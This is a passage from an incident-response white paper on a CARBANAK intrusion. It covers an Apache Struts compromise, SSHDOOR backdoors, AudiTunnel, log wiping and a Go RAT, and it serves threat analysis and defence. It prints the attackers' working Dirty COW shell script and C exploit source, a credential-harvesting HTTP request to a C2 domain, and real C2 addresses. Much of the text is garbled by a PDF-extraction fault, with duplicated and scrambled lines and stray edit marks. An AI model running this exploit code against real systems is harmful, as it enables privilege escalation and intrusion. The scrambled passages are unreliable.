+increasingly suspect outbound binary and administrative network communication being
+CVE-2017-5638, the vulnerable web page on system ALPHA was not detected
+Page 17
+due to the web server and operating system reporting that the affected
+package was not installed. Based on the extensive number of successful exploit
+attempts that ranged from the return of a pre-defined character string to
+successful downloading and execution of malicious code, system ALPHA was
+removed from service, a forensic image was obtained for in-depth analysis
+and the system was restored and remediated. The forensic image was made
+WHITE PAPER
+available to RSA IR upon engagement of services, with RSA IR beginning threat
+hunting actions and follow-on investigations on D+35.
+During threat hunting operations conducted in concert with client analysts,
+RSA IR identified increasingly suspect outbound binary and administrative
+network communication being conducted with external
+hosts.
+! internet
+The!Shadows!of!Ghosts!
+Case!Study:!CARBANAK!
+Specifically, RSA IR observed the GOTROJ traffic communicating outbound to
+IP 107.181.246.146,
+and client
+observed
+the PSEXESVC.exe
+conducted
+with external internet
+hosts. analysts
+Specifically,
+RSA IR observed
+the GOTROJservice
+traffic
+communicating
+outbound
+107.181.246.146,
+client
+analysts
+observed
+The!Shadows!of!Ghosts!
+binary present and executing on system DELTA. Both! of these
+initial the
+findings
+PSEXESVC.exe service binary present and executing on system
+Both of these initial
+! DELTA.
+Case!Study:!CARBANAK!
+are are
+shown
+in Figure
+1010and
+findings
+shown
+in Figure
+andFigure
+Figure 11,
+11, respectively.
+respectively.
+conducted with external internet hosts. Specifically, RSA IR observed the GOTROJ traffic
+communicating outbound to IP 107.181.246.146, and client analysts observed the
+PSEXESVC.exe service binary present and executing on system DELTA. Both of these initial
+findings are shown in Figure 10 and Figure 11, respectively.
+Delet
+Delet
+Delet
+Deleted: Intern
+Deleted: Comm
+Deleted:
+Comment [A32
+FigureFigure
+10: Initial
+Finding of GOTROJ Communications with Suspect Meta
+10: Initial Finding of GOTROJ Communications with Suspect Meta
+Figure 10: Initial Finding of GOTROJ Communications with Suspect Meta
+CommentComm
+[A33
+Figure 11:
+Initial
+Finding
+Lateral
+Movement
+Figure
+11: Initial
+Findingof
+of TINYP
+TINYP Lateral
+Movement
+Figure 11: Initial Finding of TINYP Lateral Movement
+Correlation of these suspect security events was declared an incident on D+35, with RSA IR
+Correlation
+of these
+suspect
+security
+events
+wasAtdeclared
+being immediately
+engaged
+for incident
+response
+services.
+this point inan
+theincident
+intrusion, on
+Correlation
+of these
+suspect
+was declared
+incident on D+35, with RSA IR
+attackers
+had just
+enteredsecurity
+Stage 5,events
+as described
+in Sectionan
+3.1.5.
+D+35,
+with
+being
+immediately
+engaged
+incident
+response
+services.
+being immediately engaged for incident response services. At this point in the intrusion, the
+Logs and
+Packets
+for network
+visibility,
+RSA IR identified
+attackers
+just NetWitness
+entered
+Stage
+5, as
+described
+in Section
+3.1.5.
+AtUtilizing
+this
+point
+in the intrusion,
+attackers
+just
+entered
+Stageall
+5,network
+communication channels utilized by the attackers for the duration of the incident. This assisted
+described
+in Section
+3.1.5.
+Page 18
+Utilizing
+RSA NetWitness
+Logs
+and Packets for network visibility, RSA IR identified all network
+communication channels utilized by the attackers for the duration of the incident. This assisted
+Deleted: Incide
+Deleted: Respo
+Deleted:
+Deleted:
+Page 18
+Utilizing RSA NetWitness Logs and Packets for network visibility, RSA IR
+identified all network communication channels utilized by the attackers for
+the duration of the incident. This assisted greatly in conducting root cause
+analysis and intrusion scoping, as a significant amount of host forensic
+artifacts had been destroyed, bypassed or made unusable by the attackers.
+Delet
+Delet
+Delet
+Delet
+WHITE PAPER
+Additionally, the use of this level of visibility allowed RSA IR to conduct
+network protocol analysis on the command and control (C2) communication
+payloads, which led to the capability to decrypt attacker C2 communications
+within minutes of their occurrence. This level of visibility into attacker activity
+greatly assisted in containment, eradication and remediation efforts, which
+concluded on D+44. Upon conclusion of the incident, RSA IR determined that
+the attackers had accessed 154 systems, the majority of which were accessed
+laterally via ingress channels established on systems ALPHA, BRAVO,
+CHARLIE and DELTA. Follow-on analysis of acquired host, network and disk
+forensic data occurred in parallel with continuous monitoring and Threat
+Hunting operations until incident closure on D+74.
+Utilizing RSA NetWitness Endpoint for host visibility, RSA IR was able to
+observe and track specific behavioral indicators of compromise (IOCs)
+identifying attacker activity within the environment. As the attackers were
+particularly careful to remove all traces of their activity upon completion
+and ensure their tools were on disk while in use, many traditional artifacts or
+log-based incident response and forensics methodologies would have been
+ineffective in identifying, investigating and responding to these attackers
+methods. However, utilizing RSA NetWitness Endpoint in concert with RSA
+NetWitness Logs and Packets allowed RSA IR to use the attackers
+ methods
+as IOCs, such as specific file download methods with subsequent deletions,
+specific command-line arguments used by the attackers for lateral movement,
+and specific Windows user status command executions.
+WHITE PAPER
+4. INTRUSION DETAILS
+4.1 INITIAL COMPROMISE: APACHE STRUTS2
+In late March of 2017, in the midst of several hundred thousand external
+vulnerability scanning attempts, an attacker using the IP address of
+185.117.88.97 executed an HTTP request against system ALPHA and
+exploited the Apache Struts Content-Type remote command execution
+vulnerability, CVE-2017-5638, in order to download and execute a Perl script
+named 
+ from the IP address 95.215.45.116. Due to retention at the time
+of analysis, neither the Perl script nor the complete command used to initiate
+the download was obtained. Actions during this time were observed by
+network metadata creation.
+Almost six minutes later, system ALPHA began communicating with IP
+address 95.216.45.116 via IRC over TCP port 80. This was the initial method
+of direct system communication utilized by the actors, in which they began
+immediate attempts to escalate privilege to the root user.
+4.2 LINUX COMPROMISE AND MALICIOUS FILES
+4.2.1 
+Dirty COW
+ Driver Script and Kre80r Proof of Concept Code
+Since the privilege-separation account for the web application server
+was not sufficient for follow-on actions, the attackers downloaded a shell
+script named 
+1.sh
+ that exploited the 
+Dirty COW
+ Linux Kernel Privilege
+Escalation vulnerability, CVE-2016-5165, from IP address 185.61.148.145.
+The other downloaded file was a modified version of the PTRACE_POKEDATA
+variant of CVE-2016-5195 POC code written by GitHub user 
+KrE80r.
+. The contents of both files are shown in Figure 12 and Figure 13, with the
+detection of this activity shown in RSA NetWitness Suite in Figure 14.
+#!/bin/bash
+/bin/cp /bin/bash /tmp/sbash
+/bin/chmod 4755 /tmp/sbash
+chmod +x /tmp/x
+./cow &
+echo 
+trying...
+sleep 2
+while true
+echo > /dev/tcp/0/22
+if [ -f 
+/tmp/sbash
+then killall -9 cow
+rm -f /tmp/x cow cow.c
+/tmp/sbash -p -c 
+rm -f /usr/sbin/sshd; cp /tmp/sshd.bak /usr/sbin/
+sshd;chown 0:0 /usr/sbin/sshd;chmod +x /usr/sbin/sshd;id
+WHITE PAPER
+/tmp/sbash -p
+exit
+else
+echo 
+trying...
+killall -9 cow
+./cow &
+sleep 0.2
+done
+Figure 12: Contents of 
+1.sh
+ Dirty COW Shell Script
+#include <fcntl.h>
+#include <pthread.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <sys/ptrace.h>
+#include <unistd.h>
+int f;
+void *map;
+pid_t pid;
+pthread_t pth;
+struct stat st;
+char suid_binary[] = 
+/usr/sbin/sshd
+unsigned char shell_code[] = 
+#!/tmp/x\n
+unsigned int sc_len = 9;
+void *madviseThread(void *arg) {
+int i,c=0;
+for(i=0;i<200000;i++)
+c+=madvise(map,100,MADV_DONTNEED);
+int main(int argc,char *argv[]){
+f=open(suid_binary,O_RDONLY);
+fstat(f,&st);
+map=mmap(NULL,st.st_size+sizeof(long),PROT_READ,MAP_PRIVATE,f,0);
+pid=fork();
+if(pid){
+waitpid(pid,NULL,0);
+int i,o,c=0,l=sc_len;
+for(i=0;i<100000;i++)
+for(o=0;o<l;o++)
+c+=ptrace(PTRACE_POKETEXT,pid,map+o,*((long*)(shell_code+o)));
+WHITE PAPER
+else{
+pthread_create(&pth,
+NULL,
+madviseThread,
+NULL);
+ptrace(PTRACE_TRACEME);
+kill(getpid(),SIGSTOP);
+pthread_join(pth,NULL);
+return 0;
+The!Shadows!of!Ghosts!
+Case!Study:!CARBANAK!
+Figure 13: Contents of 
+ Dirty COW Source Code
+Figure 13: Contents of 
+ Dirty COW Source
+Code
+The!Shadows!of!Ghosts!
+Case!Study:!CARBANAK!
+Comment [A35
+Figure 13: Contents of 
+ Dirty COW Source Code
+Comment [A
+Figure 14: Observed Download of 1.sh and c0w from IP 185.61.148.145
+Figure 14: Observed Download of 1.sh and c0w from IP 185.61.148.145
+Both files were obtained via the legitimate WGET utility already present on the system. This
+Both
+files were
+obtained
+via primary
+the legitimate
+already present
+would continue
+to be
+the attackers
+method of WGET
+acquiringutility
+tools throughout
+this
+Download
+ofacquisition
+1.sh and c0w
+185.61.148.145
+engagement. AsFigure
+such, 14:
+the Observed
+direct-to-IP
+address
+of from
+toolsIP
+before
+execution became an
+system.
+This
+would
+continue
+attackers
+primary
+method
+effective actionable IOC to track the adversary throughout this engagement. An example of this
+activity
+seen
+NetWitness
+Logs
+Packets
+shown
+Figure
+acquiring
+tools throughout this engagement. As such, the direct-to-IP address
+Both files were obtained via the legitimate WGET utility already present on the system. This
+would continueof
+totools
+be thebefore
+attackers
+primary method
+of acquiring
+tools throughout
+thisIOC to
+acquisition
+execution
+became
+an effective
+actionable
+engagement. As such, the direct-to-IP address acquisition of tools before execution became an
+track
+adversary
+throughout
+this engagement.
+example of
+activity
+effective
+actionable
+IOC to
+track the adversary
+throughout this
+engagement.
+An this
+example
+of this
+activity as seen in RSA NetWitness Logs and Packets is shown in Figure 15.
+seen in RSA NetWitness Logs and Packets is shown in Figure 15.
+Deleted: .
+Deleted:
+Deleted: attack
+Deleted: .
+Deleted:
+Deleted: att
+Figure 15: WGET Download of SSHDoor Binary ssh
+4.2.2! SSHDoor Client and Server
+Shortly after successfully executing
+downloaded
+privilege
+escalation
+code, the attackers
+Figure 15: the
+WGET
+Download of
+Binary ssh
+Figure
+15: WGET
+Download
+ofSSHDoor
+SSHDoor
+Binary95.215.46.116
+again utilized WGET
+to download
+three additional
+binaries
+from IP address
+named ssh, sshd and auditd. The ssh binary was a trojanized version of the OpenSSH 5.3p1
+client binary, with the sshd binary a trojanized version of the server binary. These backdoors are
+4.2.2! SSHDoor Client and Server
+Shortly after successfully executing the downloaded privilege escalation code, the attackers
+again utilized WGET to download three additional binaries from IP address 95.215.46.116
+Page 22
+named ssh, sshd and auditd. The ssh binary was a trojanized version of the OpenSSH 5.3p1
+client binary, with the sshd binary a trojanized version of the server binary. These backdoors are
+Deleted: ,
+Deleted:
+Deleted:
+Deleted: ,
+Deleted:
+Deleted:
+Page 22
+WHITE PAPER
+4.2.2 SSHDoor Client and Server
+Shortly after successfully executing the downloaded privilege escalation
+code, the attackers again utilized WGET to download three additional
+binaries from IP address 95.215.46.116 named ssh, sshd and auditd. The ssh
+binary was a trojanized version of the OpenSSH 5.3p1 client binary, with the
+The!Shadows!of!G
+sshd binary a trojanized version of the server binary. These backdoors are
+Case!Study:!CARBA
+variants of the SSHDOOR Trojan that was observed and reported
+in 2013.15
+While
+the previously
+observed
+SSHDOOR
+used
+an XOR
+scheme
+store15an
+variants of the
+SSHDOOR
+Trojan
+that was
+observed
+reported
+in to
+2013.
+While the
+SSH pre-shared
+key and
+its HTTP
+Request
+Format
+Strings,an
+this
+version
+used
+previously observed
+SSHDOOR
+used
+an XOR
+scheme
+to store
+pre-shared
+key and it
+HTTP RequestRC4
+Format
+Strings,
+this
+version
+used
+encryption
+store
+same
+encryption to store the same information. The decrypted SSH pre-shared informatio
+The decryptedkey
+andare
+HTTP
+Format
+Strings
+andpre-shared
+HTTP Formatkey
+Strings
+shown
+in Figure
+16. are shown in Figure 16.
+Figure 16: RC4 Decrypted authorized_keys Entry and HTTP Format Strings
+Figure 16: RC4 Decrypted authorized_keys Entry and HTTP Format Strings
+As was the case with the previous version of SSHDOOR, upon successful
+authentication using the client or server binary, the authenticated credentials
+As was the case with the previous version of SSHDOOR, upon successful authentication usin
+are sentbinary,
+to the attacker
+via HTTP GETcredentials
+Request. In the
+these
+the client or server
+the authenticated
+arecase
+sentofto
+the binaries,
+attacker via HTTP G
+thecase
+source
+address
+would
+be normalized
+to lowercase
+Request. In the
+ofhost
+theseMAC
+binaries,
+source
+host
+s MAC
+address would
+be normalized t
+in the
+firstfirst
+key-value
+pair of pair
+the URI,
+withURI,
+the username,
+lowercase andincluded
+included
+in the
+key-value
+of the
+with the password
+username, password a
+destination hostname
+and IP
+addressand
+encoded
+into
+a Base64
+placed
+and destination
+hostname
+IP address
+encoded
+into string
+a Base64
+string
+and in the second
+key-value pairplaced
+of the
+Thesekey-value
+HTTP requests
+would
+be sent
+to requests
+the C2 domains
+of centosin URI.
+the second
+pair of the
+URI. These
+HTTP
+would
+repo.org or slpar.org, depending on the version of the binary executed. An example of this
+shown in Figure
+17. 
+Linux/SSHDoor.A Backdoored SSH daemon that steals passwords
+; https://
+Duquette;
+www.welivesecurity.com/2013/01/24/linux-sshdoor-a-backdoored-ssh-daemon-thatstealspasswords/
+WHITE PAPER
+be sent to the C2 domains of centos-repo.org or slpar.org, depending on the
+version of the binary executed. An example of this is shown in Figure 17.
+/?cid=000c29450e28&text=cm9vdCAtPiBUaGlzSXNZb3VyUGFzc3dvcm
+Q6cm9vdEAxOTIuMTY4LjE2My4xODUK HTTP/1.0
+Host: centos-repo.org
+Red text = MAC address of affected system (lowercase normalized)
+Blue text = Base64 Username:Password representation.
+Decoded Base64 String:
+root -> ThisIsYourPassword:root@192.168.163.185
+Figure 17: Credential Harvesting HTTP Request
+Additionally, both versions of SSHDOOR allow unauthorized access when
+authenticated with the decrypted SSH pre-shared key. These trojanized binaries
+allowed the attackers to gain additional credentials that would assist them in
+moving laterally into the internal server environment. The authorized_hosts
+entry the attackers utilized with the SSHDOOR binary is shown in Figure 18.
+ssh-rsa
+AAAAB3NzaC1yc2EAAAADAQABAAABAQDAkqHYDX7rAoj6DNKLe4e
+7a7XFrbMRErtd6y/shqDaxSMMlXAfK6P2OQE9FmPPLDWjgkDgSyOvC0g
+TyghdGYdgKMV4DnhFiMMt4atOWwI86w71q9SEVGKKGVWLhIaCn
+GpWkWQmGGGnCOHbLezhLTnv98wscNdZLVafTOM/HqWkRcpr2XTO
+Phag/6FsXQsMKnJOZqloG5MWwdaYyIXBYEGRCA103MPmimW2jq
+Y91JxQ+7xEeD4XB1s9gNakHuQsDNNYY63kfiG8UAbOGQq
+88mpsB32Ofjz6qdAgYPzBZzCoMnvhtDSTyKPYjoeDEHXMWZU
+/3PZbjuejbM8v5F9FiH4p centos-repo.org
+Figure 18: Pre-Shared SSH Key Used by SSHDOOR
+The file information for the SSHDOOR client and server binaries with the C2
+address of centos-repo.org are shown in Table 1 and Table 2, respectively.
+File Name : ssh
+File Size : 1,180,393 bytes
+: 0810d239169a13fc0e2e53fc72d2e5f0
+SHA1
+: 60a0c1042644cdc8189af1917cb14278f64f17e8
+Table 1: File Information for the SSHDOOR Client Binary (centos-repo.org)
+File Name : sshd
+File Size : 1,614,981 bytes
+: d66e31794836dfd2c344d0be435c6d12
+SHA1
+: a065244522b6b26c033dfbc3383b93dba776c37d
+Table 2: File Information for the SSHDOOR Server Binary (centos-repo.org)
+WHITE PAPER
+The file information for the SSHDOOR client and server binaries with the C2
+address of slpar.org are shown in Table 3 and Table 4, respectively.
+File Name : ssh
+File Size : 1,180,521 bytes
+: a365fd9076af4d841c84accd58287801
+SHA1
+: ba2f90f85cada4be24d925cbff0c2efea6e7f3a8
+Table 3: File Information for SSHDOOR Client Binary (slpar.org)
+SHA1
+File Name : sshd
+File Size : 1,614,437 bytes
+The!Shadows!of!Ghosts!
+Case!Study:!CARBANAK!
+: 9e2e4df27698615df92822646dc9e16b!
+:: 96e56c39f38b4ef5ac4196ca12742127f286c6fa
+a365fd9076af4d841c84accd58287801
+SHA1
+: ba2f90f85cada4be24d925cbff0c2efea6e7f3a8
+Table
+4:3:File
+Server
+Binary
+(slpar.org)
+Table
+FileInformation
+Information for
+for SSHDOOR
+SSHDOOR Client
+Binary
+(slpar.org)
+File Name
+: sshd
+4.2.3 AudiTunnel
+File Size
+: 1,614,437 bytes
+The AUDITUNNEL
+binary is a reverse tunneling tool similar in functionality to
+: 9e2e4df27698615df92822646dc9e16b
+SHA1 netcat, but with
+: 96e56c39f38b4ef5ac4196ca12742127f286c6fa
+support for multiple tunnels, Socks5 proxy and XOR encoded
+communication.
+It was
+downloaded,
+withServer
+the SSHDOOR
+binaries from
+Table 4:
+File Information
+for along
+SSHDOOR
+Binary (slpar.org)
+95.215.46.116, under the name 
+auditd.
+ Upon execution, it creates a TCP socket
+4.2.3! AudiTunnel
+and connects to C2 IP address 95.215.46.116 over TCP/443, creating a reverse
+The AUDITUNNEL binary is a reverse tunneling tool similar in functionality to netcat, but with
+to allow
+accessSocks5
+to theproxy
+victimand
+server.
+the connection
+was made,
+support tunnel
+for multiple
+tunnels,
+XOROnce
+encoded
+communication.
+It was
+downloaded,
+along withwould
+the SSHDOOR
+binaries from
+95.215.46.116,
+under
+the name 
+auditd.
+AUDITUNNEL
+keep the connection
+alive
+to allow inbound
+or outbound
+Upon execution, it creates a TCP socket and connects to C2 IP address 95.215.46.116 over
+connectivity through this tunnel. In order to better hide its network activity,
+TCP/443, creating a reverse tunnel to allow access to the victim server. Once the connection was
+this utility would
+all data
+passed through
+theallow
+tunnel
+with aor
+of 0x41.connectivity
+made, AUDITUNNEL
+would
+keep
+the connection
+alive to
+inbound
+outbound
+throughThis
+this binary
+tunnel.isInalso
+order
+toto
+better
+hide its network
+this utility
+would
+XOR all data
+able
+communicate
+via the activity,
+Socks5 protocol
+using
+Basic
+passed through the tunnel with a key of 0x41. This binary is also able to communicate via the
+authentication.
+These
+three binariesThese
+proved
+to be
+the attackers
+primary
+Socks5 protocol
+using Basic
+authentication.
+three
+binaries
+proved to
+be the method
+attackers
+primary of
+method
+ingress
+and credential
+harvesting
+for the
+halfincident.
+of the incident.
+An example
+ingressofand
+credential
+harvesting
+for the first
+halffirst
+of the
+An example
+of the XOR network traffic associated with AUDITUNNEL is shown in Figure 19.
+of the XOR network traffic associated with AUDITUNNEL is shown in Figure 19.
+Figure 19: XOR 0x41 Traffic for AudiTunnel
+Page 25
+WHITE PAPER
+After the attackers observed little change to their malware C2 channels
+once system ALPHA was remediated, the attackers quickly moved to system
+CHARLIE, the Linux Syslog server. This allowed them a communication
+channel to all other systems within the Linux environment, as well as allowing
+the attackers to control both centralized and local log entries across all Linux
+systems accessed. At this time, the attackers moved the majority of their
+toolset to CHARLIE, leaving only the SSHDOOR server binary on system
+ALPHA for further credential harvesting. The Syslog server would remain one
+of their primary staging points throughout the rest of the incident.
+The file information for AUDITUNNEL is shown in Table 5.
+File Name : auditd
+File Size : 21,616 bytes
+: b57dc2bc16dfdb3de55923aef9a98401
+SHA1
+: 1d3501b30183ba213fb4c22a00d89db6fd50cc34
+Table 5: File Information for AUDITUNNEL
+4.3 LINUX SECONDARY ATTACKER TOOLS
+The attackers downloaded additional tools from IP address 95.215.46.116
+for the purposes of conducting internal reconnaissance and moving laterally
+between the Linux and Windows environments. These tools included the
+WINEXE version 1.1 remote command execution utility, a version of the
+ALW 
+Advanced Log Wiper
+ posted by 
+security40bscurity at 0xbscured.net
+posted to Pastebin on July 7, 2015, and SecPoint
+s PSCAN multithreaded IP
+port scanner. With these tools, the attackers traversed the internal network
+beginning with the shortest hop points first and migrating outward. Example
+executions of each of these tools are shown in Figure 20 through Figure 23.
+4.3.1 Winexe
+WINEXE is the Windows Remote Command Execution tool for Linux. Its
+functionality is very similar to that of SysInternals PSEXEC, including the
+creation of a Windows service and file transfer of a service binary into the
+ADMIN$ Windows SMB shared location (C:\Windows). As is described in Figure
+20, the command line options are very similar to that of PSEXEC as well.
+WHITE PAPER
+The!Shadows!of!Ghosts!
+Case!Study:!CARBANAK!
+Figure
+20: Usage Message for WINEXE Binary
+Figure 20: Usage Message for WINEXE Binary
+The file information
+for is
+WINEXE
+is shown
+in Table 6.
+The file information
+for WINEXE
+shown in
+Table 6.
+File NameFile Name: :winexe
+winexe
+File Size
+: 8,126,714 bytes
+File Size : :edce844a219c7534e6a1e7c77c3cb020
+8,126,714 bytes
+SHA1
+: :286bf53934aa33ddf220d61c394af79221a152f1
+edce844a219c7534e6a1e7c77c3cb020
+SHA1
+: 286bf53934aa33ddf220d61c394af79221a152f1
+Table 6: File Information for WINEXE
+4.3.2 ALW (Advanced Log Wiper, 
+The ALW Advanced Log Wiper was initially downloaded to system BRAVO
+early in the intrusion as a method of removing specific indications of
+attacker activities from Linux host logs. ALW was originally written by
+security40bscurity
+ and posted to Pastebin on July 7, 2015. This binary takes
+Page 27
+WHITE PAPER
+The!Shadows!of!Ghosts!
+Case!Study:!CARBANAK!
+Table 6: File Information for WINEXE
+4.3.2! ALW (Advanced Log Wiper, 
+four
+arguments:
+theWiper
+userwas
+to remove
+from the to
+target
+logs,
+the early
+host in
+tothe
+remove
+Advanced Log
+initially downloaded
+system
+BRAVO
+intrusion
+as a method of removing specific indications of attacker activities from Linux host logs. ALW
+from the target logs, a specific terminal TTY value to remove from the target
+was originally written by 
+security40bscurity
+ and posted to Pastebin on July 7, 2015. This binary
+takes
+the userlog
+to remove
+from the target
+logs, the
+host to remove
+from
+logs,four
+or arguments:
+a specific target
+file to remove.
+The usage
+message
+for this
+binary
+target logs, a specific terminal TTY value to remove from the target logs, or a specific target log
+is to
+shown
+in The
+Figure
+file
+remove.
+usage
+message for this binary is shown in Figure 21.
+Figure 21: Usage Message for l Advanced Log Wiper
+Deleted:
+Deleted:
+Deleted:
+Figure 21: Usage Message for l Advanced Log Wiper
+Comment
+deleted? I
+Figures.
+If no file argument is given, ALW will remove all log entries with the specified
+Logs
+Modified
+by ALW
+user, host or TTY from the
+following
+logs:
+Deleted: ,
+If no file argument is given, ALW will remove all log entries with the specified user, host or TTY
+from the following logs:
+Formatted
+utmp
+wtmp
+Logslast
+Modified by ALW
+/var/log/secure
+utmp/var/log/auth.log
+/var/log/messages
+wtmp
+/var/log/audit/audit.log
+last /var/log/httpd-access.log
+/var/log/httpd-error.log
+/var/log/xferlog
+/var/log/secure
+Table 7: Logs Modified by ALW Log Wiper
+/var/log/auth.log
+The file information for ALW
+is shown in Table 8.
+/var/log/messages
+File Name
+File Size
+SHA1
+Formatted
+: l /var/log/audit/audit.log
+: 16,333 bytes
+: 771fa63231fb42ee97aa17818a53f432
+/var/log/httpd-access.log
+: 149a9270d9160120229b7c088975c2754e3b5333
+/var/log/httpd-error.log
+Table 8: File Information for ALW
+4.3.3! PSCAN
+/var/log/xferlog
+The PSCAN binary found Table
+on host
+is a TCP port
+scanning
+tool that attempts to create
+7:BRAVO
+Logs Modified
+by ALW
+Log Wiper
+TCP socket connections to a specified port for every IP within a specified range. This functionality
+allows the attacker to check if specific commonly used ports are open for communication in
+The file information for ALW is shown in Table 8.
+Page 28
+File Name : l
+File Size : 16,333 bytes
+: 771fa63231fb42ee97aa17818a53f432
+SHA1
+: 149a9270d9160120229b7c088975c2754e3b5333
+Table 8: File Information for ALW
+4.3.3 PSCAN
+The PSCAN binary found on host BRAVO is a TCP port scanning tool that
+attempts to create TCP socket connections to a specified port for every IP
+within a specified range. This functionality allows the attacker to check if
+specific commonly used ports are open for communication in systems within
+an IP range, thereby identifying available services for internal reconnaissance.
+The usage message for PSCAN is shown in Figure 22.
+Deleted:
+WHITE PAPER
+The!Shadows!of!Gh
+Case!Study:!CARBA
+systems within an IP range, thereby identifying available services for internal reconnaissance
+The usage message for PSCAN is shown in Figure 22.
+The!Shadows!of!Ghosts!
+Case!Study:!CARBANAK!
+systems within an IP range, thereby identifying available services for internal reconnaissance.
+The usage message for PSCAN is shown in Figure 22.
+Figure
+Usage
+Message for
+for PSCAN
+ToolTool
+Figure
+22:22:
+Usage
+Message
+PSCANPort
+PortScanning
+Scanning
+Figure 22: Usage Message for PSCAN Port Scanning Tool
+example
+execution
+PSCAN
+shown
+in23,
+Figure
+23, information
+with
+theinformation
+file
+An example
+of PSCAN
+is shown
+Figure 23,
+withwith
+the filethe
+for this binary for this bina
+An example execution
+ofexecution
+PSCAN
+isofshown
+inisinFigure
+file
+shown in Table for
+9. this binary shown in Table 9.
+information
+shown in Table 9.
+Figure 23: Example Usage of PSCAN Port Scanning Tool
+File Name
+File Size
+File Name
+SHA1
+Figure 23: Example Usage of PSCAN Port Scanning Tool
+: pscan
+: 10,340 bytes
+: pscan
+: 0f1c4a2a795fb58bd3c5724af6f1f71a
+: 039f814cdd4ac6f675c908067d5be1d6f9acc31f
+File SizeFigure
+: 10,340
+bytes
+23: Example
+Usage of PSCAN Port Scanning Tool
+Table 9: File Information for PSCAN
+: 0f1c4a2a795fb58bd3c5724af6f1f71a
+File Name
+: pscan
+Their
+decisions
+which systems to access indicated that their next intended action was to gain
+SHA1
+:in039f814cdd4ac6f675c908067d5be1d6f9acc31f
+access:to 10,340
+the Windowsbytes
+Server environment. The attackers continued to conduct internal
+Deleted:
+File Size
+reconnaissance within both the Linux and Windows environments using stolen credentials to
+0f1c4a2a795fb58bd3c5724af6f1f71a
+Table
+Information
+PSCAN
+access:Linux
+systems via SSH
+and 9:
+theFile
+WINEXE
+utility tofor
+access
+Windows systems. The actionsDeleted:
+SHA1
+: 039f814cdd4ac6f675c908067d5be1d6f9acc31f
+on-objective
+during this time was composed of mapping the internal network with the PSCAN
+utility and collecting host information via resident Linux and Windows administrative commandTheir
+decisions in which systems to access indicated that their next intended
+line utilities.
+Table 9: File Information for PSCAN
+action was to gain access
+to the Windows Server environment. The attackers
+continued
+conduct
+internal
+reconnaissance
+within
+both
+theintended
+Linux and action was to ga
+Their decisions in which systems to access
+indicated that
+their
+next
+WindowsServer
+environments
+using stolen
+credentials
+to continued
+access Linuxto
+systems
+via internal
+access to the Windows
+environment.
+attackers
+conduct
+WINEXE
+utility
+access
+Windows
+systems.
+actions-onreconnaissance within both the Linux and Windows environments using stolen credentials to
+Page 29
+objective
+composed
+of mapping
+the internal
+network
+access Linux systems
+viaduring
+SSH this
+andtime
+thewas
+WINEXE
+utility
+to access
+Windows
+systems.
+The actio
+on-objective during
+thisPSCAN
+time was
+of mapping
+the internal
+network
+with the PSCAN
+with the
+utilitycomposed
+and collecting
+host information
+via resident
+Linux and
+utility and collecting
+hostadministrative
+informationcommand-line
+via residentutilities.
+Linux and Windows administrative comman
+Windows
+line utilities.
+4.4 WINDOWS COMPROMISE AND MALICIOUS FILES
+4.4.1 GOTROJ Remote Access Trojan
+On D+30, the attackers installed a Windows Trojan, written in Go, as a
+Windows Service on one of the two primary Active Directory Domain
+Controllers. They would move to utilizing the GOTROJ as their primary
+method of ingress for the duration of the engagement. The GOTROJ Trojan
+communicated with C2 IP address 107.181.246.146 over TCP/443 for its
+remote access channel. This Trojan was much more fully featured than the
+WHITE PAPER
+previous tools utilized by the attackers to this point, with eight primary
+functions designated by a command issued by the attackers. The commands
+and their functionality are shown in Table 10.
+Command
+Function
+Display process listing
+#shell
+Begin interactive command shell
+#kill
+Remove Windows Service and Malware
+#info
+Get system information
+#wget
+Download function via wget HTTP
+#wput
+Upload function via wput FTP
+#name
+Get hostname of victim
+#service
+Install malware as Windows Service with
+Service Name of 
+WindowsCtlMonitor
+Table 10: Decoded Commands for GOTROJ Trojan
+The commands are stored within the binary in an XOR encrypted segment,
+which is decrypted shortly after execution with the XOR key of 
+dmdar,
+0x646D646172. The section of code which calls the c_gosh_xstr_XorCrypt()
+The!Shadows!of!Ghosts!
+function to decrypt the commands is shown in Figure! 24. Case!Study:!CARBANAK!
+24: XOR Command Decryption Method
+FigureFigure
+24: XOR
+Command Decryption Method
+This binary operates in one of two modes. The first is an ad hoc, interactive execution mode, in
+which
+the malware
+executes
+context
+of a user
+However,
+if the
+malware is
+This binary
+operates
+in within
+one ofthe
+modes.
+The account.
+first is an
+ad hoc,
+interactive
+executed as a user, there has to be a file named 
+xname.txt
+ in that user
+s temporary directory
+executionbymode,
+in which variable
+the malware
+executes
+within
+thefound
+context
+ofthis
+referenced
+the environment
+%TEMP%.
+As this file
+was not
+during
+engagement and is not dropped by any of the tools used by the attackers, its contents are not
+user account. However, if the malware is executed as a user, there has to
+known. However, when the malware begins to communicate with its C2, the contents of the file
+are the first thing encrypted and sent to the C2 server. The second method of GOTROJ
+utilization is execution under a Windows Service as a method of persistence. The attackers used
+this method of execution during this engagement, installing the GOTROJ binary as a service
+named WindowsCtlMonitor.
+Deleted:
+Deleted: Deleted:
+Deleted: .
+Deleted:
+Deleted:
+Deleted:
+WHITE PAPER
+be a file named 
+xname.txt
+ in that user
+s temporary directory referenced by
+the environment variable 
+%TEMP%.
+ As this file was not found during this
+engagement and is not dropped by any of the tools used by the attackers, its
+contents are not known. However, when the malware begins to communicate
+with its C2, the contents of the file are the first thing encrypted and sent to
+the C2 server. The second method of GOTROJ utilization is execution under a
+Windows Service as a method of persistence. The attackers used this method
+of execution during this engagement, installing the GOTROJ binary as a
+service named WindowsCtlMonitor.
+The network communication protocol this malware uses contains a very
+simplistic, but specific, header and format. The traffic sent and received
+by this malware is XOR encrypted with an XOR key that changes for every
+message sent or received. An example of the format in its encrypted form is
+shown in Figure 25.
+BA 45 BA B2 BA BA BA 99 C9 D2 DF D6 D6 B7 B0
+Yellow = Null Bytes
+Pink = ID Byte
+Green = Length Byte
+Grey = Message
+.E.............
+Figure 25: Annotated Encrypted Form of GOTROJ Communication
+Once decrypted with the XOR key (byte BA in the example above), the
+formatting of the message becomes considerably clearer. An illustration of
+this is shown in Figure 26.
+00 FF 00 08 00 00 00 23 73 68 65 6C 6C 0D 0A
+Yellow = Null Bytes
+Pink = ID Byte
+Green = Length Byte
+Grey = Message
+.......#shell..
+Figure 26: Annotated Decrypted Form of GOTROJ Communication
+Given this simplistic method of formatting and decryption, RSA analysts were
+able to effectively decrypt this traffic for review during the investigation,
+greatly increasing visibility into attacker actions. However, given that this
+malware utilizes a TCP socket connection for transport communications
+in a tunneling form, the custom communications protocol does not take
